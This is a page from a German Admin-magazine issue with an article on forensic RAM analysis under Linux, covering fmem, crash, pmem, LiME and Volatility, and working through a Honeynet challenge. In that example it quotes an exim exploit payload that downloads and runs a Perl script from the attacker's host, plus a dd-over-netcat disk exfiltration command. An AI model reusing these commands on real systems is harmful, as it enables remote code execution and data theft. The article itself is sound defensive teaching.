mtl.*<br />

Keine Setupgebühr<br />

www.hosteurope.de<br />

*Monatlich. Keine Mindestvertragslaufzeit. Keine Setupgebühr. Der Abrechnungszeitraum ist monatlich. Die Kündigungsfrist beträgt 4 Wochen zum Monatsende. Alle angegebenen Preise inkl. MwSt.<br />

**Das Host Europe SSL-Zertifikat für eine Laufzeit von 12 Monaten können Sie innerhalb von 3 Monaten nach Bestellung eines Virtual <strong>Server</strong> mit Linux-Betriebssystem kostenlos hinzubuchen.


Security<br />

Speicheranalyse<br />

© stylephotographs, 123RF<br />

Die forensische Analyse des Arbeitsspeichers unter Linux<br />

Spurensicherung<br />

In der Computer-Forensik wird die Arbeitsspeicheranalyse als Mittel zur Untersuchung von Sicherheitsvorfällen<br />

immer wichtiger. Dieser Beitrag gibt einen Überblick über die verschiedenen Möglichkeiten der Speicherakquise<br />

unter Linux und stellt die Linux-Variante der Analysesoftware Volatility vor. Peter Schulik<br />

Die Sicherung des Arbeitsspeichers bei<br />

der Behandlung und Diagnose eines möglichen<br />

Sicherheitsvorfalls gehört mittlerweile<br />

zu den ersten Schritten überhaupt.<br />

Die traditionelle Untersuchung von persistentem<br />

Speicher reicht heute nicht<br />

mehr aus, denn mit der steigenden Kapazität<br />

von Festplatten steigt in der Regel<br />

auch die Datenmenge, die forensisch untersucht<br />

werden muss, um einen Angriff<br />

zu erkennen. Die Analyse des flüchtigen<br />

Speichers kann diese Untersuchungen<br />

unterstützen und beschleunigen, denn<br />

dabei sucht der Forensiker nur in einer<br />

vergleichsweise kleinen Datenmenge<br />

nach Hinweisen für einen erfolgreichen<br />

Angriff. Darüber hinaus enthält der Arbeitsspeicher<br />

oft wichtige Spuren, wie<br />

zum Beispiel laufende Prozesse oder aktive<br />

Netzwerkverbindungen.<br />

Diese Informationen sind vor allem<br />

wichtig, um Techniken aus dem Bereich<br />

der Anti-Forensik richtig zu begegnen.<br />

So ist es in manchen Fällen möglich,<br />

die Passphrase für ein verschlüsseltes<br />

Laufwerk, aus dem flüchtigen Speicher<br />

zu extrahieren. Aber auch nicht persistente<br />

Schadsoftware lässt sich mithilfe<br />

der Arbeitsspeicheranalyse aufspüren.<br />

Vor allem bei gezielten Angriffen wird<br />

häufig Schadcode verwendet, der nur im<br />

Arbeitsspeicher aktiv ist und keine Daten<br />

auf der Festplatte hinterlässt [1] [2].<br />

Dieser Typ von Schadsoftware ist ohne<br />

Analyse des flüchtigen Speichers so gut<br />

wie nicht nachweisbar.<br />

Bisher stand die Entwicklung von Speicheranalysetechniken<br />

für Windows-Betriebssysteme<br />

im Vordergrund. In letzter<br />

Zeit wächst jedoch die Anzahl der Angriffe<br />

auf Linux basierte Systeme, die vor<br />

allem im Embedded-Bereich, als <strong>Server</strong>betriebssysteme<br />

in Rechenzentren und<br />

mit Android auf den meisten mobilen Geräten<br />

zum Einsatz kommen. Aus diesen<br />

Gründen wird zuletzt immer mehr Arbeit<br />

in die Linux-Speicheranalyse gesteckt.<br />

Speicherakquise<br />

In aktuellen Kernel-Versionen ist der Zugriff<br />

auf den Hauptspeicher von Linux-<br />

Systemen stark eingeschränkt worden.<br />

Konnte man in der Vergangenheit mittels<br />

der beiden Gerätetreiber »/dev/mem«<br />

und »/dev/kmem« den Arbeitsspeicher<br />

auslesen, so wurde diese Möglichkeit<br />

mittlerweile standardmäßig abgeschaltet.<br />

Auch das aus dem Coroner’s Toolkit<br />

bekannte Werkzeug »memdump« [3] sicherte<br />

den Arbeitsspeicher über »/dev/<br />

mem« und funktioniert bei aktuellen<br />

Versionen nicht mehr. Die Deaktivierung<br />

wurde notwendig, um den Missbrauch<br />

dieser Geräte durch Schadsoftware [4]<br />

zu verhindern. Um diese Einschränkung<br />

aufzuheben, muss der Kernel ohne die<br />

Restriktion durch »CONFIG_STRICT_<br />

DEVMEM« neu kompiliert werden. Dieses<br />

Vorgehen erfordert jedoch zwingend<br />

einen Neustart, was dazu führt, dass der<br />

Inhalt des Arbeitsspeichers überschrieben<br />

wird und somit für den Forensiker<br />

nutzlos ist.<br />

Sicherung unter Linux<br />

Eine frei verfügbare Alternative, die bei<br />

Vorfällen zur Speicherakquise unter Linux<br />

zum Einsatz kommt, ist das Kernelmodul<br />

»fmem« [5]. Um »fmem« zu<br />

34 Ausgabe 04-2012 Admin www.admin-magazin.de


Speicheranalyse<br />

Security<br />

nutzen, muss es zuerst kompiliert und<br />

dann in den laufenden Kernel geladen<br />

werden. Dabei wird ein neues Pseudodevice<br />

»/dev/fmem« erzeugt mit dessen<br />

Hilfe man den Speicher sichert. Dieser<br />

Vorgang verursacht bereits Veränderungen<br />

am Zustand des Systems, was im<br />

schlimmsten Fall dazu führen kann, dass<br />

wichtige Spuren für den Forensiker verloren<br />

gehen.<br />

»fmem« und »crash«<br />

Nachdem das »fmem« Modul geladen ist,<br />

kann mithilfe des Werkzeugs »dd« der<br />

komplette Inhalt des Speichers in eine<br />

Datei geschrieben werden. Es ist wichtig,<br />

bei »fmem« die Kapazität des Arbeitsspeichers<br />

mit anzugeben, da »dd« sonst über<br />

die wirkliche Größe des Speichers hinaus<br />

liest und schreibt: »dd if=/dev/fmem<br />

of=memory.dd bs=1MB count=512«<br />

Ein weiteres Werkzeug zum Sichern des<br />

Arbeitsspeichers ist das von Red Hat<br />

entwickelte Kernelmodul »crash« [6].<br />

Wie bereits »fmem«, erzeugt »crash«<br />

ein Pseudodevice namens »/dev/crash«<br />

über das es möglich ist, den flüchtigen<br />

Speicher auszulesen. Im Vergleich zum<br />

Sicherungsvorgang mittels »fmem« ist es<br />

hier nicht nötig, die Größe des Arbeitsspeichers<br />

explizit anzugeben.<br />

In der aktuellen Version, bringt das Analyseframework<br />

Volatility [7] ebenfalls ein<br />

Kernelmodul zur Sicherung des flüchtigen<br />

Speichers mit. Es trägt den Namen<br />

»pmem« und ist im Unterverzeichnis<br />

»tools/linux« zu finden. Bevor der Treiber<br />

einsetzbar ist, muss er zunächst auf<br />

dem betroffenen System übersetzt werden.<br />

Dazu müssen die richtigen Kernel-<br />

Header auf dem System installiert sein.<br />

Bei der Kompilierung mittels »make«,<br />

wird im Verzeichnis das Kernel-Modul<br />

»pmem.ko« generiert. Das Laden dieses<br />

Moduls in den laufenden Kernel, erzeugt<br />

das Pseudodevice »/dev/pmem«<br />

über welches der Speicher mithilfe von<br />

»dd« gesichert werden kann. Abbildung<br />

1 zeigt den kompletten Vorgang bei einem<br />

Ubuntu-11.10-System.<br />

Unter Android und bei VMs<br />

zwei Problemen [8]. So benötigt etwa<br />

»fmem« die Methode »page_is_ram«, die<br />

aber im Linux-Kernel für ARM-Architekturen<br />

fehlt. Diese Methode prüft, ob<br />

es sich bei einer Page um Arbeitsspeicher<br />

handelt. Zum Zweiten kann die in<br />

Android enthaltene Implementierung von<br />

»dd« nicht richtig mit Offset-Werten über<br />

0x80000000 umgehen. Um diese Einschränkungen<br />

zu umgehen, wurde für<br />

Android das Akquisewerkzeug LiME [9]<br />

entwickelt, mit dem man den flüchtigen<br />

Speicher auf eine SD-Karte oder über das<br />

Netzwerk sichern kann. Nachdem das<br />

Tool zuerst die Bezeichnung DMD trug,<br />

was für Droid Memory Dumper steht,<br />

wurde es mittlerweile in Linux Memory<br />

Extractor umbenannt. Der neue Name<br />

soll vor allem verdeutlichen, dass es sowohl<br />

zur Sicherung des Arbeitsspeichers<br />

von Android-Geräten als auch von Linux-<br />

Systemen verwendet werden kann.<br />

Die komfortabelste Möglichkeit zur Sicherung<br />

des Arbeitsspeichers bieten virtuelle<br />

Maschinen. Hier ist es nicht notwendig,<br />

erst ein entsprechendes Kernel-Modul zu<br />

laden. Stattdessen wird durch das Aktivieren<br />

des Suspend-Modus der komplette<br />

Speicherinhalt in eine Datei geschrieben.<br />

Diese Datei kann direkt forensisch analysiert<br />

werden. Beispielsweise wird bei<br />

VMWare Workstation das Gast-System<br />

mithilfe des Pause-Buttons in den Suspend-Modus<br />

versetzt. Dabei wird eine<br />

Datei mit der Endung ».vmem« erzeugt,<br />

die den kompletten Inhalt des flüchtigen<br />

Speichers enthält.<br />

Speicheranalyse<br />

Nachdem der Arbeitsspeicher erfolgreich<br />

gesichert wurde, erfolgt im nächsten<br />

Schritt die externe Analyse. Bis vor ein<br />

paar Jahren bestand diese Analyse jedoch<br />

hauptsächlich aus der Suche nach<br />

verdächtigen Zeichenketten mithilfe von<br />

Werkzeugen wie »strings«. Mit diesem<br />

Problem beschäftigte sich erstmals die<br />

Forensic Challenge aus dem Digital Forensic<br />

Research Workshop 2008 [10]. Ziel<br />

dieser Challenge war es, vor allem die<br />

Entwicklung von Analysewerkzeugen für<br />

Linux zu fördern, mit denen es möglich<br />

ist, wichtige Informationen, die sonst nur<br />

auf einem noch laufenden System abrufbar<br />

sind, aus dem Speicherabbild zu<br />

extrahieren.<br />

Eines der ersten Werkzeuge zur Speicheranalyse<br />

unter Linux war das Python-Skript<br />

Draugr [11]. Es erlaubt, den<br />

Arbeitsspeicher eines noch laufenden<br />

Systems direkt über das Pseudodevice<br />

»/dev/mem« zu untersuchen. Aber auch<br />

Speicherabbilder, die als Datei vorliegen,<br />

können mit Draugr analysiert werden.<br />

Ein Nachteil ist jedoch sein beschränkter<br />

Funktionsumfang, der sich auf das<br />

Auflisten von Prozessen sowie das<br />

Die bisher vorgestellten Sicherungsmethoden<br />

funktionieren auf Android-Geräten<br />

nicht. Dies liegt hauptsächlich an<br />

Abbildung 1: Das Modul pmem wird zuerst übersetzt und in den laufenden Kernel geladen. Danach kann der<br />

Arbeitsspeicher mit »dd« gesichert werden.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

35


Security<br />

Speicheranalyse<br />

Disassemblieren oder Extrahieren von bestimmten<br />

Speicherbereichen beschränkt.<br />

Seit 2009 wird Draugr nicht mehr weiterentwickelt.<br />

Volatilitux<br />

Ein weiteres Werkzeug zur Arbeitsspeicheranalyse<br />

ist Volatilitux [12]. Es galt<br />

lange Zeit als Linux-Äquivalent zu Volatility,<br />

als dieses nur die Analyse von<br />

Windows-Systemen unterstützte. Mittlerweile<br />

beherrscht auch Volatility die Speicheranalyse<br />

von Linux-Systemen, jedoch<br />

fehlen zwei wichtige Merkmale, die in<br />

Volatilitux bereits enthalten sind.<br />

Eines dieser Merkmale ist die Fähigkeit<br />

Kernelstrukturen automatisch zu erkennen.<br />

Dadurch ist man nicht auf die vorherige<br />

Erzeugung eines Kernelprofils angewiesen.<br />

Bei manchen Speicherabbildern<br />

funktioniert die automatische Erkennung<br />

jedoch nicht zuverlässig. Für diesen Fall<br />

liegt Volatilitux ein Linux-Kernelmodul<br />

bei, mit dem eine Konfigurationsdatei erstellt<br />

werden kann. Diese Datei enthält<br />

Informationen zum Speicherlayout und<br />

muss bei jedem Aufruf mit angegeben<br />

werden.<br />

Des Weiteren unterstützt Volatilitux bereits<br />

die Speicherabbilder von Systemen<br />

mit ARM-Architektur. Somit können neben<br />

den klassischen Rechnersystemen,<br />

auch mobile Geräte, wie zum Beispiel<br />

Android Smartphones analysiert werden.<br />

Dieser Punkt gewinnt immer mehr an Bedeutung,<br />

da die Entwicklung von Schadsoftware<br />

für mobile Endgeräte zugenommen<br />

hat [13]. Die Entwickler von LiME<br />

arbeiten bereits an einer Erweiterung, mit<br />

der man demnächst auch unter Volatility<br />

Speicherabbilder von Android-Geräten<br />

analysieren kann.<br />

Zusätzlich zu den aus Draugr bekannten<br />

Funktionen kann man mit Volatilitux die<br />

geöffneten Dateien eines Prozesses anzeigen<br />

und extrahieren. Im Dezember<br />

letzten Jahres wurde zudem eine neue<br />

Version von Volatilitux veröffentlicht,<br />

mit der es nun auch möglich ist, 64-Bit-<br />

Systeme zu analysieren.<br />

Volatility<br />

Das Werkzeug mit der größten Funktionalität<br />

ist das Open-Source-Framework<br />

Volatility. Die in Python geschriebene<br />

Abbildung 2: Dem Session-Objekt das Speicherabbild und die Datei mit dem Kernelprofil übergeben. Die<br />

beiden Plugins cpuinfo und ifconfig geben Auskunft über die Konfiguration des betroffenen Systems.<br />

Software wird bisher vor allem zur Analyse<br />

von Windows verwendet. Seit 2011<br />

gibt es auch eine Version, die es ermöglicht,<br />

den Arbeitsspeicher von Linux-<br />

Systemen zu untersuchen [14]. Aktuell<br />

wird deren ursprüngliche Codebasis im<br />

Branch »scudette« überarbeitet. Ziel ist<br />

es, die Windows- und Linux-Version zu<br />

vereinen.<br />

Eine Schwierigkeit bei der Arbeitsspeicheranalyse<br />

unter Linux ist, dass verschiedene<br />

Kernelversionen unterschiedliche<br />

Speicherlayouts aufweisen. Diese<br />

Problematik löst Volatility durch sogenannte<br />

Kernelprofile, die für jede Kernelversion<br />

eigens erstellt werden müssen.<br />

Ein Profil besteht aus der Datei »System.<br />

map« und den Debug-Informationen des<br />

verwendeten Kernels. Die Datei »System.map«,<br />

welche sich im Verzeichnis<br />

»/boot« befindet, enthält die Adressen<br />

der Datenstrukturen und Funktionen. Für<br />

das Extrahieren der Debug-Informationen<br />

aus dem laufenden Kernel muss das<br />

Werkzeug »dwarfdump« auf dem System<br />

installiert sein. Ist das der Fall, so erzeugt<br />

das Makefile im Verzeichnis »tools/linux«<br />

automatisch die Datei »module.dwarf«,<br />

welche die nötigen Informationen enthält.<br />

Abschließend müssen beide Dateien<br />

noch in ein Zip-Archiv gepackt werden:<br />

»zip ubuntu1110.zip /boot/System.<br />

map‐3.0.0‐19‐generic module.dwarf«<br />

Die Analysefunktionen von Volatility realisieren<br />

Plugins. Dadurch ist es Forensikern<br />

möglich, das Analyseframework<br />

sehr leicht um eigene Funktionen zu erweitern.<br />

In der ursprünglichen Version<br />

für Linux verfügte Volatility bereits über<br />

15 verschiedene Plugins. Neben den<br />

schon aus Draugr und Volatilitux bekannten<br />

Funktionen, erlaubt es Volatility beispielsweise<br />

auch, aktive Netzwerkverbindungen<br />

anzuzeigen oder alle geladenen<br />

Kernelmodule auszugeben. Im aktuellen<br />

Branch »scudette« sind jedoch noch nicht<br />

alle Plugins neu implementiert, was beim<br />

Aufruf zu Fehlermeldungen führt.<br />

Analysebeispiel<br />

In diesem Abschnitt, wird die Analyse<br />

eines kompromittierten Linux-<strong>Server</strong>s<br />

mithilfe von Volatility demonstriert.<br />

Das hier verwendete Festplattenimage<br />

»victoria‐v8.sda1.img« und das Arbeitsspeicherabbild<br />

»victoria‐v8.memdump.<br />

img« stammen aus der Honeynet Challenge<br />

7 – Forensic Analysis of a Compromised<br />

<strong>Server</strong> [15]. Auf Grundlage der<br />

Analyse, sollen in der Challenge folgende<br />

Fragen beantwortet werden:<br />

n Welche Prozesse sind auf dem System<br />

gelaufen?<br />

n Welcher Dienst wurde angegriffen?<br />

n Welche Schwachstelle wurde<br />

ausgenutzt?<br />

n War der Angriff auf das System<br />

erfolgreich?<br />

n Welche Absicht hatte der <strong>Angreifer</strong>?<br />

n Wurden Informationen vom <strong>Angreifer</strong><br />

gestohlen?<br />

Bevor mit der Untersuchung des Arbeitsspeichers<br />

begonnen werden kann, muss<br />

36 Ausgabe 04-2012 Admin www.admin-magazin.de


Speicheranalyse<br />

Security<br />

zunächst ein Kernelprofil erstellt werden.<br />

Im ursprünglichen Branch von Volatility<br />

für Linux war ein Profil für das betroffene<br />

System bereits enthalten. Es handelte sich<br />

dabei um eine »vtypes«-Datei, die jedoch<br />

nicht identisch mit der »module.dwarf«<br />

ist. Zwar unterstützt der aktuelle Branch<br />

Scudette auch Zip-Archive, die aus einer<br />

»vtypes«-Datei und der »System.map« des<br />

Kernels bestehen, jedoch ließ sich damit<br />

das kompromittierten Linux-System nicht<br />

fehlerfrei analysieren. Deshalb ist es an<br />

dieser Stelle notwendig, nachträglich ein<br />

neues Profil zu erstellen.<br />

Session starten<br />

Um das Analyse-Framework zu starten,<br />

muss das Python-Skript »vol.py« in der<br />

Konsole aufgerufen werden. Daraufhin<br />

wird eine ipython-Shell geladen, die als<br />

Benutzerschnittstelle dient. Außerdem<br />

generiert Volatility beim Start ein Session-<br />

Objekt. Dieser Session übergibt man das<br />

Speicherabbild, das Kernelprofil und die<br />

Information, ob es sich um ein 32- oder<br />

64-Bit-Linux-System handelt. Die entsprechenden<br />

Angaben dienen als globale<br />

Parameter und werden bei jedem Aufruf<br />

standardmäßig an die Analyseplugins<br />

Das Tool »netcat« wird typischerweise<br />

zum Übertragen von Daten über das<br />

Netzwerk verwendet. Deshalb besteht<br />

der nächste logische Schritt aus der Anzeige<br />

der aktiven Netzwerkverbindungen.<br />

Abbildung 4 zeigt die aktiven Netzwerkverbindungen<br />

des Systems. Für die<br />

Analyse wird jedoch der ursprüngliche<br />

Branch »linux‐support« von Volatility für<br />

Linux verwendet, da das »netstat«-Plugin<br />

noch nicht im Branch Scudette implementiert<br />

ist.<br />

Wie man der Auflistung entnehmen<br />

kann, gibt es mehrere Verbindungen<br />

vom betroffenen System zu der IP-Adresse<br />

»192.168.56.1«. Zudem handelt es<br />

sich bei den Ports »4444« und »8888« um<br />

keine regulären Netzwerkdienste. Es liegt<br />

die Vermutung nahe, dass es sich um<br />

die IP-Adresse des <strong>Angreifer</strong>s handeln<br />

könnte und dieser mithilfe von »netcat«<br />

versucht hat, Daten auf das System zu<br />

übertragen oder abzuziehen.<br />

Die bisher gewonnenen Informationen<br />

lassen darauf schließen, dass es sich um<br />

einen erfolgreichen Angriff gehandelt<br />

hat. Deshalb soll im nächsten Schritt<br />

festgestellt werden, wie der <strong>Angreifer</strong> in<br />

das System eingedrungen ist. Dazu ist es<br />

sinnvoll, die Log-Dateien der Prozesse<br />

zu betrachten, die über das Netzwerk<br />

erreichbar sind.<br />

Der Mail Transfer Agent »exim4« speichert<br />

seine Log-Datei im Verzeichnis »/<br />

var/log/exim«. Betrachtet man die Log-<br />

Datei »mainlog«, so findet man mehrere<br />

verdächtige Einträge: Der Log-Eintrag in<br />

Listing 1 zeigt beispielsweise den Verübergeben.<br />

Somit müssen diese Informationen<br />

nicht jedes Mal neu angegeben<br />

werden. Nun ist es möglich, den Arbeitsspeicher<br />

mithilfe von Volatility forensisch<br />

zu analysieren. Als Erstes kann man Informationen<br />

über das betroffene Linux<br />

System sammeln. Beispielsweise gibt das<br />

Plugin »cpuinfo« aus, welcher Prozessor<br />

verbaut war. Mit »ifconfig« kann die IP-<br />

Adresse des betroffenen Systems ermittelt<br />

werden. Abbildung 2 zeigt den kompletten<br />

Vorgang.<br />

Was lief denn da?<br />

Volatility ermöglicht die Auflistung aller<br />

Prozesse, die zum Zeitpunkt der Speicherakquise<br />

liefen. Dafür wird das Plugin<br />

»pslist« verwendet. Aufruf und Ausgabe<br />

dieses Plugins werden in Abbildung 3<br />

gezeigt. Anhand der Prozesse kann ein<br />

Forensiker erkennen, ob ein <strong>Angreifer</strong><br />

einen für das System untypischen Prozess<br />

gestartet hat. Beispielsweise könnte<br />

auf dem System ein weiterer SSH-<strong>Server</strong><br />

laufen, der dem <strong>Angreifer</strong> als Hintertür<br />

dient. Zwar ist es auch möglich, diese Informationen<br />

direkt am laufenden System<br />

abzurufen, jedoch könnte sich auf dem<br />

zu untersuchenden System ein Rootkit<br />

Abbildung 3: Das Plugin pslist zeigt alle Prozesse an, die zum Zeitpunkt der Speicherakquise auf dem<br />

betroffenen System liefen.<br />

befinden, das diesen Prozess und somit<br />

die Hintertür versteckt. Vor der externen<br />

Analyse des Arbeitsspeichers kann das<br />

Rootkit jedoch nichts verstecken.<br />

Betrachtet man die Ausgabe der Prozesse,<br />

so erkennt man, dass ein SSH-<br />

<strong>Server</strong> und der Mail Transport Agent<br />

»exim4« auf dem Linux-System liefen.<br />

Zudem waren mit »memdump« und »nc«<br />

(netcat) zwei eher untypische Prozesse<br />

aktiv. Bei »memdump« handelt es sich<br />

um ein Werkzeug, welches früher zur<br />

Speicherakquise verwendet wurde. Dies<br />

verdeutlicht, dass auch die Aktivitäten<br />

des Forensikers am laufenden System<br />

Spuren hinterlassen.<br />

Offene Verbindungen<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

37


Security<br />

Speicheranalyse<br />

Abbildung 4: Mithilfe von linux_netstat konnten im ursprünglichen Volatility alle aktiven Netzwerkverbindungen<br />

aufgelistet werden. Das Analyseplugin ist noch nicht in der neuen Codebasis verfügbar.<br />

such des <strong>Angreifer</strong>s, eine E-Mail mit<br />

Shell-Befehlen an den Dienst »exim4« zu<br />

schicken. Ziel ist das Herunterladen und<br />

Ausführen der Datei »c.pl«. Untersucht<br />

man die restlichen verdächtigen Einträge,<br />

so stellt man fest, dass eine E-Mail erfolgreich<br />

verarbeitet wurde. Dabei ist die<br />

Datei »rk.tar« nachgeladen und ausgeführt<br />

worden.<br />

Basierend auf den Informationen aus der<br />

Log-Datei, stößt man bei der Recherche<br />

nach Angriffsmöglichkeiten für »exim4«<br />

auf die Schwachstelle »CVE‐2010‐4344«.<br />

Diese erlaubt es einem <strong>Angreifer</strong>, unter<br />

Ausnutzung eines Heap-Buffer-Overflows,<br />

beliebige Kommandos auf dem<br />

Zielsystem auszuführen.<br />

Was lief ab?<br />

Zuletzt ist es interessant herauszufinden,<br />

welches Ziel der <strong>Angreifer</strong> verfolgt hat.<br />

Die Verwendung von »netcat« zeigt, dass<br />

der <strong>Angreifer</strong> Kommandos auf dem betroffenen<br />

System eingegeben hat. Deshalb<br />

sollte die Shell-History der Benutzer<br />

des Systems untersucht werden. Die<br />

Zeile »dd if=/dev/sda1 | nc 192.168.56.1<br />

4444« in der Datei »/root/.bash_history«<br />

offenbart, dass der <strong>Angreifer</strong> versucht<br />

hat, die Festplatte mit dem Werkzeug<br />

»dd« zu kopieren und mittels »nc« auf<br />

seinen Rechner zu übertragen.<br />

Listing 1: Log-Eintrag<br />

01 2011‐02‐06 15:08:13 H=(abcde.com)<br />

02 [192.168.56.101] temporarily rejected MAIL<br />

Dieses Beispiel zeigt, wie man mithilfe<br />

der Arbeitsspeicheranalyse erste Erkenntnisse<br />

über einen möglichen Angriff gewinnen<br />

kann. Im Zusammenspiel mit<br />

der klassischen Festplatten-Forensik beschleunigt<br />

dies den investigativen Prozess<br />

ungemein, da der Forensiker weiß,<br />

wo er gezielt nach weiteren Spuren suchen<br />

muss. Da<strong>gegen</strong> reicht eine alleinige<br />

Analyse des flüchtigen Speichers selten<br />

aus, um eine erfolgreiche Kompromittierung<br />

des Systems festzustellen.<br />

Fazit<br />

Stand in den letzten Jahren die Speicheranalyse<br />

von Windows-Systemen im<br />

Vordergrund, so kann man mittlerweile<br />

erkennen, dass sich immer mehr Forensiker<br />

mit der Analyse von Linux-Systemen<br />

beschäftigen. Ein Grund dafür ist<br />

die zunehmende Verbreitung von Linux<br />

auf <strong>Server</strong>n und mobilen Geräten. Somit<br />

rücken diese Systeme auch immer stärker<br />

in den Fokus der <strong>Angreifer</strong>. Des Weiteren<br />

lässt sich mithilfe der Arbeitsspeicheranalyse<br />

die Bearbeitung eines Vorfalls<br />

deutlich beschleunigen. Aber auch nicht<br />

persistente Malware kann damit identifiziert<br />

werden, was mit der traditionellen<br />

Festplatten-Forensik nicht möglich ist.<br />

Vor allem das Volatility Framework wird<br />

stetig um neue Funktionen erweitert und<br />

03 : failed to expand ACL string "pl 192.168.56.1 4444; sleep 1000000'"}}<br />

04 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl<br />

192.168.56.1 4444; sleep 1000000'"}}<br />

05 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl<br />

192.168.56.1 4444; sleep 1000000'"}}<br />

stellt ein wertvolles Werkzeug zur Speicheranalyse<br />

unter Linux dar. War es bis<br />

vor Kurzem nur möglich, 32-Bit-Systeme<br />

zu untersuchen, so werden jetzt auch<br />

64-Bit-Betriebssysteme unterstützt. Dies<br />

ist eine sehr wichtige Neuerung, da die<br />

Anzahl der 64-Bit-Systeme kontinuierlich<br />

zunimmt. Trotzdem fehlen noch einige<br />

Funktionen, die in naher Zukunft verfügbar<br />

sein sollen. Beispielsweise fehlt<br />

die Unterstützung der ARM-Architektur,<br />

die für die Untersuchung von Android<br />

Smartphones nötig ist. Aber auch die<br />

Analyseplugins aus dem ursprünglichen<br />

Branch »linux‐support« wurden noch<br />

nicht komplett in die neuen Codebasis<br />

mit aufgenommen. (jcb) <br />

n<br />

Infos<br />

[1] D. Brezinski, T. Killalea: „Guidelines for<br />

Evidence Collection and Archiving“, RFC<br />

3227 02/​2002<br />

[2] grugq: „Remote Code execution without<br />

creating a file on disk“, Phrack 62 07/​<br />

2004<br />

[3] The Coroner’s Toolkit: [http:// www.​<br />

porcupine. org/ forensics/ tct. html]<br />

[4] A. Lineberry: „Malicious Code Injection<br />

via /dev/​mem“, BlackHat Europe 03/​2009<br />

[5] fmem: [http:// hysteria. sk/ ~niekt0/​<br />

fmem/]<br />

[6] crash: [http:// people. redhat. com/​<br />

anderson/ crash_whitepaper/]<br />

[7] Volatility: [http:// www. volatilesystems.​<br />

com/ default/ volatility]<br />

[8] J. Sylve: „Acquisition and analysis of<br />

volatile memory from android devices“,<br />

Digital Investigation 8/​2012, S. 177<br />

[9] LiME: [http:// code. google. com/ p/​<br />

lime‐forensics/]<br />

[10] DFRWS Challenge 2008: [http:// www.​<br />

dfrws. org/ 2008/ challenge/ index. shtml]<br />

[11] Draugr: [http:// code. google. com/ p/​<br />

draugr/]<br />

[12] Volatilitux: [http:// code. google. com/ p/​<br />

volatilitux/]<br />

[13] T. Dirro, P. Greve, R. Kashyap, D. Marcus,<br />

F. Paget, C. Schmugar, J. Shah, A. Wosotowsky:<br />

„McAfee Threads Report: Second<br />

Quarter 2011“, 09/​2011<br />

[14] Volatility: [http:// code. google. com/ p/​<br />

volatility/]<br />

[15] Honeynet Project Challenge 7 of the<br />

Forensic Challenge 2011: [http:// www.​<br />

honeynet. org/ challenges/ 2011_7_compromised_server]<br />

38 Ausgabe 04-2012 Admin www.admin-magazin.de


Linux-<strong>Magazin</strong><br />

ACADEMY<br />

... wir qualifizieren Ihre Mitarbeiter!<br />

IT Trainings Online<br />

Linux und Open Source<br />

Nutzen Sie die Vorteile<br />

der Linux-<strong>Magazin</strong> Academy!<br />

✓<br />

✓<br />

✓<br />

✓<br />

✓<br />

Kompetent: Unsere Dozenten sind ausge wiesene<br />

Profis mit lang jähriger Schulungserfahrung.<br />

Flexibel: Der Schulungsteilnehmer lernt, wann,<br />

wo und sooft er möchte.<br />

Kosteneffizient: Nutzen Sie Einsparungen<br />

<strong>gegen</strong>über Vor-Ort-Schulungen.<br />

Übersichtlich: Die komfortable Web- Oberfläche<br />

zeigt gleich zeitig den Trainer und dessen<br />

Arbeitsfläche<br />

Individuell: Jeder Teilnehmer folgt seinem eigenen<br />

Lerntempo.<br />

Trainingspakete:<br />

• LPIC-1-Training<br />

LPIC-2-Training<br />

IT-Sicherheit Grundlagentraining<br />

• WordPress 3.0<br />

OpenOffice – Arbeiten mit Vorlagen<br />

Was Teilnehmer über die<br />

Linux-<strong>Magazin</strong> Academy sagen:<br />

„Mit den Videos haben Sie ins Schwarze<br />

getroffen. Es gibt nichts Vergleichbares.“<br />

„Eine hervorragende Anleitung zum<br />

praktischen Arbeiten.“<br />

Testen Sie unsere Demovideos:<br />

academy.linux-magazin.de/demo<br />

Präsentiert von:<br />

www.linux-magazin.de<br />

www.lpi.org<br />

www.linuxhotel.de<br />

Weitere Infos: academy.linux-magazin.de


Security<br />

Unmanaged IPv6<br />

© Stanislaw Tokarski, 123RF<br />

Unbeachtete IPv6-Features gefährden das LAN<br />

Die Pflichten<br />

des Protokolls<br />

Langsam aber sicher etabliert sich IPv6 im IT-Alltag, und alle modernen Betriebssysteme von Windows über<br />

MacOS X bis zu Linux haben es an Bord. Doch Vorsicht: Wer die IPv6-Einführung dem Selbstlauf überlässt, erlebt<br />

unter Umständen unangenehme Überraschungen. Egon Grünter, Werner Anrath, Sabine Werner<br />

Im Jahr 1995 wählte die Internet Engineering<br />

Task Force (IETF) IPv6 als Nachfolger<br />

für IPv4 aus. Anfangs war das noch<br />

kein vielbeachtetes Thema. Das änderte<br />

sich erst, als Microsoft Windows Vista<br />

und die Windows-<strong>Server</strong>-Plattformen im<br />

Jahr 2007 mit IPv6-Unterstützung ausstattete.<br />

Linux in all seinen Varianten<br />

und Apples MacOS X zogen nach, und<br />

so verbreitete sich das neue Protokoll<br />

mit jeder neuen Installation. Bei allen<br />

diesen Rechner ist IPv6 heute per Default<br />

aktiv. Diese Rechner kommunizieren im<br />

Dual-Stack-Betrieb unaufgefordert auch<br />

über IPv6. Darüber hinaus verwenden<br />

Mirosofts Betriebssysteme sogenannte<br />

Transition Technologies, die quasi IPv4<br />

als Link-Layer-Protokoll für IPv6 nutzen.<br />

Das passiert im Selbstlauf und zum Teil<br />

lange, bevor Admins den regulären IPv6-<br />

Betrieb organisieren. Und genau darin<br />

steckt eine latente Bedrohung.<br />

Wer ist wie weit?<br />

Im LAN werden Microsoft Betriebssysteme,<br />

Linux und Apples OS X am häufigsten<br />

verwendet. Sie alle setzen IPv6<br />

parallel zum IPv4-Protokoll ein. Dabei ist<br />

IPv6 standardmäßig aktiviert und aktiv –<br />

die Systeme kommunizieren im Netzwerk<br />

per Dual-Stack-Betrieb (Abbildung 1). Die<br />

folgende Übersicht zeigt die Standardeinstellungen<br />

aktueller Betriebssystemvarianten:<br />

Windows Vista / 7 / 2008<br />

n IPv6 installiert und aktiv<br />

n Stateless Address Autoconfiguration<br />

aktiv (RFC 2462 / RFC 4862)<br />

n IPv6 Stack: zahlreiche Verbesserungen<br />

(Dual Layer)<br />

n GUI-, CLI- and GPO2-Konfiguration<br />

n Integrated Internet Protocol Security<br />

